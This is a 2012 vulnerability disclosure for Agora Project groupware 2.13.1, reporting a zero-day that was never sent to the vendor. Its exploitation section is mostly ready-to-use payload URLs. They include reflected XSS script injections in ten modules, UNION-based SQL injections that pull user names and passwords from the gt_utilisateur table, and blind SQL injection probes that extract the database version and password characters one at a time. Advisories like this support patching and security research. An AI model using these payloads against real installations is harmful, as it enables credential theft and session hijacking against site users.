63 lines
No EOL
2.8 KiB
Text
63 lines
No EOL
2.8 KiB
Text
###################################################################
|
|
Agora Project 2.13.1 Multiple Vulnerabilities
|
|
###################################################################
|
|
|
|
Release Date Bug. 15-06-2012
|
|
Vendor Notification Date. Never
|
|
Product. Agora project
|
|
Affected versions. 2.13.1 and less
|
|
Type. No Commercial
|
|
Attack Vector. XSS, SQLi, BSQLi
|
|
Solution Status. unpublished
|
|
CVE reference. Not yet assigned
|
|
Download http://www.agora-project.net/divers/download.php
|
|
Demo http://www.agora-project.net/demo/
|
|
|
|
I. BACKGROUND
|
|
|
|
Agora-Project is an intuitive groupware under GPL (Based on PHP/MySQL).
|
|
It contains many modules: File Manager (with versioning), Calendars (with resource calendars),
|
|
Task Manager, Bookmark manager, Contacts, News, Forum, Instant Messaging, etc.
|
|
|
|
II. DESCRIPTION
|
|
|
|
vulnerabilities are XSS, SQLi, BSQLi
|
|
|
|
|
|
III. EXPLOITATION
|
|
|
|
XSS
|
|
192.168.0.1/module_utilisateurs/utilisateur.php?id_utilisateur"><script>alert('xss')</script>
|
|
192.168.0.1/module_agenda/evenement.php?id_evenement="><script>alert('xss')</script>
|
|
192.168.0.1/module_contact/contact.php?id_contact="><script>alert('xss')</script>
|
|
192.168.0.1/module_contact/index.php?id_dossier="><script>alert('xss')</script>
|
|
192.168.0.1/module_tache/index.php?id_dossier="><script>alert('xss')</script>
|
|
192.168.0.1/module_agenda/index.php?printmode="><script>alert('xss')</script>
|
|
192.168.0.1/module_lien/index.php?id_dossier="><script>alert('xss')</script>
|
|
192.168.0.1/module_forum/index.php?theme="><script>alert('xss')</script>
|
|
192.168.0.1/module_fichier/index.php?id_dossier="><script>alert('xss')</script>
|
|
192.168.0.1/module_tableau_bord/index.php?tdb_periode="><script>alert('xss')</script>
|
|
|
|
SQLi
|
|
To exploit minimum visit to "public" space
|
|
192.168.0.1/module_forum/index.php?theme=1' and 1=2 union select nom FROM gt_utilisateur WHERE 1 AND '1'='1
|
|
192.168.0.1/module_forum/index.php?theme=1' and 1=2 union select pass FROM gt_utilisateur WHERE 1 AND '1'='1
|
|
|
|
BSQLi
|
|
To exploit minimum visit to "public" space
|
|
192.168.0.1/module_tache/tache.php?id_tache=1'+and+substring(@@version,1,1)='5
|
|
192.168.0.1/module_tache/tache.php?id_tache=1'+and+(select+1+from+gt_utilisateur+limit+0,1)='1
|
|
|
|
192.168.0.1/module_tache/tache.php?id_tache=1'+and+(select+substring(concat(1,pass),1,1)+from+gt_utilisateur+limit+0,1)='1
|
|
192.168.0.1/module_tache/tache.php?id_tache=1'+and+(select+substring(concat(1,nom),1,1)+from+gt_utilisateur+limit+0,1)='1
|
|
|
|
192.168.0.1/module_tache/tache.php?id_tache=1'and ascii(substring((SELECT nom from gt_utilisateur limit 0,1),1,1))>'0'>'0
|
|
192.168.0.1/module_tache/tache.php?id_tache=1'+and ascii(substring((SELECT nom from gt_utilisateur limit 0,1),1,1))='110
|
|
...
|
|
|
|
|
|
|
|
|
|
|
|
Discovered by.
|
|
Chris Russell |